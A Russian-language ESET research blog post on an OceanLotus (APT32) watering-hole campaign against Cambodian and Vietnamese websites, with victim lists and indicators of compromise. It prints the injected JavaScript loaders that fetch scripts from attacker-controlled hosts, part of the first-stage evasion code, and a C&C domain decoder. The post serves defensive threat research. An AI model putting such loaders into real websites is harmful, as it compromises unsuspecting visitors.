ESET Eesti Blogi

OceanLotus: Новая атака типа «watering hole» в Юго-Восточной Азии

Исследователи ESET обнаружили новую кампанию типа «watering hole», нацеленную на несколько веб-сайтов в Юго-Восточной Азии, которая, как полагают, была активна с сентября 2018 года. Эта кампания выделяется своим масштабом, так как нам удалось выявить 21 скомпрометированный веб-сайт, некоторые из которых особенно заметны. Среди скомпрометированных веб-сайтов были Министерство обороны Камбоджи, Министерство иностранных дел и международного сотрудничества Камбоджи, а также несколько вьетнамских газетных или блог-сайтов.

После тщательного анализа мы уверены, что эта кампания проводится группой OceanLotus [1], также известной как APT32 [2] и APT-C-00. OceanLotus — это группа шпионажа, активная как минимум с 2012 года [3], в основном интересующаяся иностранными правительствами и диссидентами.

Считается, что эта кампания является развитием того, что исследователи Volexity назвали OceanLotus Framework B, схемы «watering hole», которую они документировали в 2017 году [4]. Однако злоумышленники повысили свой уровень, чтобы усложнить и замедлить анализ их вредоносного фреймворка. Среди различных улучшений они начали использовать криптографию с открытым ключом для обмена ключом сеанса AES, используемым для шифрования дальнейших коммуникаций, тем самым предотвращая перехват конечной полезной нагрузки продуктами безопасности. Они также перешли с HTTP на WebSocket, чтобы скрыть свои вредоносные коммуникации.

Исследователи ESET выявили 21 различный скомпрометированный веб-сайт, каждый из которых перенаправлял на отдельный домен, контролируемый злоумышленниками.

На рисунке 1 показан регион, на который нацелена эта кампания.

Рисунок 1 — Расположение скомпрометированных веб-сайтов

Большинство скомпрометированных доменов связаны со СМИ или правительством Камбоджи. В следующей таблице подробно описаны различные жертвы. Мы уведомили их всех в октябре, но большинство по-прежнему подвергаются инъекциям вредоносных скриптов на момент написания, через два месяца после первого компромисса. Поэтому мы настоятельно рекомендуем вам не посещать эти веб-сайты.

Скомпрометированный домен Описание
baotgm[.]net СМИ на вьетнамском языке (базируется в Арлингтоне, Техас)
cnrp7[.]org Национальная партия спасения Камбоджи
conggiaovietnam[.]net Связано с религией – на вьетнамском языке
daichungvienvinhthanh[.]com Связано с религией – на вьетнамском языке
danchimviet[.]info СМИ на вьетнамском языке
danviet[.]vn СМИ на вьетнамском языке
danviethouston[.]com СМИ на вьетнамском языке
fvpoc[.]org Бывшие политзаключенные Вьетнама
gardencityclub[.]com Гольф-клуб в Пномпене, Королевство Камбоджа
lienketqnhn[.]org СМИ на вьетнамском языке
mfaic.gov[.]kh Министерство иностранных дел и международного сотрудничества Камбоджи
mod.gov[.]kh Министерство обороны Камбоджи
mtgvinh[.]net Связано с религией – на вьетнамском языке
nguoitieudung.com[.]vn СМИ на вьетнамском языке
phnompenhpost[.]com Камбоджийская газета на английском языке
raovatcalitoday[.]com Неизвестно – на вьетнамском языке
thongtinchongphandong[.]com Оппозиционные СМИ на вьетнамском языке
tinkhongle[.]com СМИ на вьетнамском языке
toithichdoc.blogspot[.]com Блог на вьетнамском языке
trieudaiviet[.]com Неизвестно – на вьетнамском языке
triviet[.]news СМИ на вьетнамском языке

Таблица 1 — Описание скомпрометированных веб-сайтов

Обычно при атаке типа «watering hole» злоумышленники компрометируют веб-сайты, которые регулярно посещают потенциальные жертвы. Однако в этой атаке OceanLotus также удалось скомпрометировать некоторые веб-сайты, которые в целом привлекают большое количество посетителей, а не только их предполагаемые цели. В следующей таблице показан рейтинг Alexa на момент написания (чем ниже рейтинг, тем больше посещаемость) скомпрометированных веб-сайтов. Например, они скомпрометировали веб-сайт газеты Dan Viet (danviet[.]vn), который является 116-м наиболее посещаемым веб-сайтом во Вьетнаме.

Домен Глобальный рейтинг Alexa Рейтинг Alexa (в самой популярной стране)
danviet[.]vn 12 887 116
phnompenhpost[.]com 85 910 18 880
nguoitieudung.com[.]vn 261 801 2 397
danchimviet[.]info 287 852 144 884
baotgm[.]net 675 669 119 737
toithichdoc.blogspot[.]com 700 470 11 532
mfaic.gov[.]kh 978 165 2 149
conggiaovietnam[.]net 1 040 548 15 368
thongtinchongphandong[.]com 1 134 691 21 575
tinkhongle[.]com 1 301 722 15 224
daichungvienvinhthanh[.]com 1 778 418 23 428
triviet[.]news 2 767 289 Недоступно
mod.gov[.]kh 4 247 649 3 719
raovatcalitoday[.]com 8 180 358 Недоступно
cnrp7[.]org 8 411 693 Недоступно
mtgvinh[.]net 8 415 468 Недоступно
danviethouston[.]com 8 777 564 Недоступно
lienketqnhn[.]org 16 109 635 Недоступно
gardencityclub[.]com 16 109 635 Недоступно
trieudaiviet[.]com 16 969 048 Недоступно
fvpoc[.]org Недоступно Недоступно

Таблица 2 — Рейтинг Alexa скомпрометированных веб-сайтов

Анализ

Способ действия одинаков на всех скомпрометированных веб-сайтах. Злоумышленники добавляют небольшой фрагмент JavaScript-кода либо на индексную страницу, либо в JavaScript-файл, размещенный на том же сервере. Фрагмент кода на рисунке 2, слегка обфусцированный, затем загружает другой скрипт с сервера, контролируемого злоумышленниками. Следующий код, добавленный в https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js, загрузит файл с https://weblink.selfip[.]info/images/cdn.js?from=maxcdn.

(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self'); 

Рисунок 2 – Фрагмент JavaScript-кода, добавленный на mfaic.gov[.]kh

Чтобы избежать обнаружения, они принимают следующие меры:

var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc); 

Рисунок 3 — Другой фрагмент JavaScript, вставленный на целевой веб-сайт

Первый этап

В зависимости от местоположения IP-адреса посетителя, сервер первого этапа, например weblink.selfip[.]info для mfaic.gov[.]kh, доставляет либо поддельный скрипт (случайную легитимную библиотеку JavaScript), либо скрипт первого этапа (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, например). Не все серверы имеют проверку местоположения, но когда она включена, вредоносный скрипт получают только посетители из Вьетнама и Камбоджи.

Скрипт первого этапа содержит несколько проверок для уклонения от обнаружения, как показано на рисунке 4.

[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e); }, 500); } […] 

Рисунок 4 — Полезная нагрузка JavaScript первого этапа

Скрипт будет ждать, пока жертва прокрутит страницу. Он также проверяет разрешение окна и включен ли Firebug, расширение браузера, используемое для анализа веб-страниц. Если любая из проверок не проходит, он прекращает выполнение.

Затем он расшифровывает домен командного и управляющего центра (C&C) с помощью пользовательского алгоритма. Например, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 будет расшифрован в wss://tcog.thruhere[.]net. Для каждого домена первого этапа злоумышленники также регистрируют отдельный домен второго этапа, каждый из которых размещен на отдельном сервере. Код на рисунке 5 является эквивалентом функции расшифровки на Python.

def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2)) 

Рисунок 5 — Код Python для расшифровки серверов C&C

Как только адрес C&C расшифрован, скрипт отправляет уникальную строку из 15 цифр, затем получает и выполняет скрипт второго этапа. Все коммуникации осуществляются через WebSocket поверх SSL. Этот протокол обеспечивает полнодуплексную связь между клиентом и сервером. Это означает, что как только клиент устанавливает соединение, сервер может отправлять данные клиенту, даже если клиент не отправил запрос. Однако в данном конкретном случае основной целью использования веб-сокетов является уклонение от обнаружения.

Второй этап

Скрипт второго этапа на самом деле является скриптом разведки. Разработчики OceanLotus повторно использовали библиотеку Valve fingerprintjs2, доступную на GitHub, слегка модифицировав ее, чтобы добавить сетевое взаимодействие и пользовательский отчет.

На рисунке 6 описаны различные действия, выполняемые скриптом. Все коммуникации проходят через сеанс WebSocket, установленный первым этапом.

Рисунок 6 — Поток полезной нагрузки второго этапа

Связь шифруется с использованием ключа сеанса AES, сгенерированного сервером. Он шифруется с помощью 1024-битного открытого ключа RSA и отправляется клиенту. Таким образом, невозможно расшифровать связь между клиентом и сервером.

По сравнению с предыдущими итерациями их фреймворка «watering hole», это сделает его намного более трудным для защитников, поскольку данные, передаваемые по сети, не могут быть обнаружены и расшифрованы. Это предотвратит сетевое обнаружение данных. Открытый ключ, отправляемый сервером, всегда один и тот же и доступен в разделе IoCs.

Этот скрипт разведки создает отчет, аналогичный показанному ниже, и отправляет его на сервер C&C второго этапа.

{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.x.x", "x.x.x.x" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...] 

Рисунок 7 — Отчет об отпечатках пальцев

Этот отчет почти идентичен отчету, сгенерированному из OceanLotus Framework B, задокументированному исследователями Volexity в 2017 году. Различные разделы похожи, и они включают идентичные опечатки. Благодаря этим сходствам и местоположению целей мы очень уверены, что OceanLotus проводит эту кампанию.

Сгенерированный отчет содержит подробную информацию о браузере жертвы и посещенном веб-сайте: user-agent, HTTP Referer, локальный и внешний IP-адрес, плагины браузера, настроенные языковые предпочтения браузера.

Кроме того, есть два уникальных идентификатора на машину, называемых client_zuuid и client_uuid. Они, вероятно, используются для идентификации пользователей и отслеживания их между посещениями. Эти идентификаторы фактически присутствовали в версии фреймворка 2017 года, и client_uuid вычислялся аналогичным образом.

client_zuuid — это конкатенация различных значений deviceId, содержащихся в navigator.mediaDevices.enumerateDevices. Устройства — это внешние устройства, доступные браузеру, такие как камеры или микрофоны. Таким образом, это значение должно быть одинаковым для данного пользователя во время его различных посещений с одного и того же компьютера.

client_uuid — это MD5-хеш некоторой информации об отпечатках пальцев, извлеченной fingerprintjs2. Среди собранной информации — user-agent браузера, язык, часовой пояс, плагины браузера, доступные шрифты в браузере. Опять же, это значение должно быть идентичным при разных посещениях, если, например, пользователь обновляет браузер или использует другое устройство.

Наконец, сервер может отправлять дополнительный JavaScript-код на скомпрометированный компьютер, вероятно, фактическую полезную нагрузку. К сожалению, из-за использования ключа сеанса AES для шифрования коммуникаций мы не смогли выявить примеры полезных нагрузок, отправленных злоумышленниками в реальных условиях. Кроме того, полезные нагрузки доставляются только конкретным целям. Таким образом, получить их с помощью тестовой машины не удалось. Однако, согласно предыдущим отчетам, эти кампании OceanLotus типа «watering hole» направлены на фишинг своих жертв. Например, Volexity сообщила, что пользователям отображалось всплывающее окно с просьбой одобрить доступ OAuth к учетной записи Google жертвы для приложения OceanLotus Google. Используя этот метод, злоумышленники могут получить доступ к контактам и электронной почте жертвы.

Сетевая инфраструктура

Чтобы быть максимально незаметными, операторы OceanLotus регистрировали один домен первого этапа и один домен второго этапа для каждого скомпрометированного веб-сайта. Каждый домен размещался на отдельном сервере с отдельным IP-адресом. Они зарегистрировали как минимум 50 доменов и 50 серверов для этой кампании.

В то время как большинство доменов первого этапа были зарегистрированы на бесплатных сервисах доменных имен, большинство доменов второго этапа — это платные доменные имена. Они также имитируют подлинные веб-сайты, чтобы казаться легитимными. Таблица 3 показывает некоторые сервисы, имитируемые злоумышленниками.

Домен C&C Легитимный домен
cdn-ampproject[.]com cdn.ampproject.com
bootstraplink [.]com getbootstrap.com
sskimresources[.]com s.skimresources.com
widgets-wp[.]com widgets.wp.com

Таблица 3 — Легитимные веб-сайты, имитируемые злоумышленниками

Количество используемых доменов и их сходство с легитимными веб-сайтами, вероятно, затрудняет их обнаружение человеческим глазом при просмотре сетевого трафика.

Заключение

Несмотря на активное отслеживание многими исследователями, группа OceanLotus по-прежнему активно атакует цели в Юго-Восточной Азии. Они также регулярно улучшают свой набор инструментов, включая свой фреймворк «watering hole» и вредоносное ПО для Windows и MacOS. Недавние обновления их фреймворка «watering hole», освещенные в этом блоге, демонстрируют уровень сложности, невиданный ранее для OceanLotus. Это еще одно напоминание о том, что за этой APT-группой следует внимательно следить.

Чтобы ограничить количество жертв, мы уведомили владельцев каждого скомпрометированного веб-сайта и объяснили, как удалить вредоносный JavaScript-код, хотя некоторые, похоже, очень сопротивляются информированию или помощи.

Исследователи ESET продолжат отслеживать любые разработки инструментария OceanLotus. Индикаторы компрометации также можно найти на GitHub. По любым вопросам или для отправки образцов, связанных с этой темой, свяжитесь с нами по адресу threatintel@eset.com

Ссылки

[1] ESET Research, «OceanLotus: Old techniques, new backdoor,» 03 2018. [Online]. Available: https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf.

[2] N. Carr, «Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations,» FireEye, 14 05 2017. [Online]. Available: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.

[3] Sky Eye Lab, «OceanLotus APT Report Summary,» 29 05 2015. [Online]. Available: http://blogs.360.cn/post/oceanlotus-apt.html.

[4] S. K. S. A. Dave Lassalle, «OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society,» Volexity, 06 11 2017. [Online]. Available: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/.

Индикаторы компрометации (IoCs)

Файлы

Описание SHA-1 SHA-256 Имя обнаружения
Скрипт первого этапа 2194271C7991D60AE82436129D7F25C0A689050A 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 JS/Agent.NYQ
Скрипт второго этапа 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 JS/Agent.NYR

Сетевые IoCs

Скомпрометированный веб-сайт 1-й этап IP-адрес 2-й этап IP-адрес
baotgm[.]net arabica.podzone[.]net 178.128.103.24 10cm.mypets[.]ws 178.128.100.189
cnrp7[.]org utagscript[.]com 206.189.88.50 optnmstri[.]com 159.65.134.146
conggiaovietnam[.]net lcontacts.servebbs[.]net 178.128.219.207 imgincapsula[.]com 209.97.164.158
daichungvienvinhthanh[.]com sskimresources[.]com 178.128.90.102 secure-imrworldwide[.]com 178.128.90.109
danchimviet[.]info wfpscripts.homeunix[.]com 178.128.223.102 cdn-ampproject[.]com 178.128.24.201
danviet[.]vn cdnscr.thruhere[.]net 178.128.98.139 io.blogsite[.]org 178.128.98.89
danviethouston[.]com your-ip.getmyip[.]com 178.128.103.74 [Unknown] [Unknown]
fvpoc[.]org gui.dnsdojo[.]net 178.128.28.93 cdnazure[.]com 209.97.164.96
gardencityclub[.]com figbc.knowsitall[.]info 178.128.103.207 ichefbcci.is-a-chef[.]com 206.189.85.162
lienketqnhn[.]org tips-renew.webhop[.]info 159.65.7.45 cyhire.cechire[.]com 178.128.103.79
mfaic.gov[.]kh weblink.selfip[.]info 178.128.103.202 tcog.thruhere[.]net 178.128.107.83
mfaic.gov[.]kh s0-2mdn[.]net 104.248.144.178 p-typekit[.]com 104.248.144.136
mod.gov[.]kh static.tagscdn[.]com 206.189.95.214 pagefairjs[.]com 159.65.137.109
mtgvinh[.]net metacachecdn[.]com 178.128.209.153 bootstraplink[.]com 159.65.129.241
nguoitieudung.com[.]vn s-adroll[.]com 128.199.159.127 player-cnevids[.]com 128.199.159.60
phnompenhpost[.]com tiwimg[.]com 206.189.89.121 tiqqcdn[.]com 206.189.47.116
raovatcalitoday[.]com widgets-wp[.]com 178.128.90.107 cdn-tynt[.]com 142.93.75.192
thongtinchongphandong[.]com lb-web-stat[.]com 159.65.128.57 benchtag2[.]com 178.128.90.108
tinkhongle[.]com cdn1.shacknet[.]us 142.93.127.120 scdn-cxense[.]com 142.93.75.161
toithichdoc.blogspot[.]com assets-cdn.blogdns[.]net 178.128.28.89 cart.gotdns[.]com 206.189.145.242
trieudaiviet[.]com html5.endofinternet[.]net 178.128.90.182 effecto-azureedge[.]net 142.93.71.92
triviet[.]news ds-aksb-a.likescandy[.]com 159.65.137.144 labs-apnic[.]net 178.128.90.138
[Unknown] pixel1.dnsalias[.]net 142.93.116.157 ad-appier[.]com 178.128.90.66
[Unknown] trc.webhop[.]net 178.128.90.223 static-addtoany[.]com 142.93.75.172
[Unknown] nav.neat-url[.]com 178.128.103.205 straits-times.is-an-actor[.]com 178.128.107.24

RSA Public Key, отправленный сервером

——BEGIN PUBLIC KEY——

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X

/ABJB2M+urEvxJStRuL/+u/a9oJ6XL4JTFceYqJiSsXvwD/wDfgI00zCdmJ7xgw+

rpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao

hEXZ94it73j02h+JtQIDAQAB

——END PUBLIC KEY——

Читать полный анализ на WeLiveSecurity →

Exit mobile version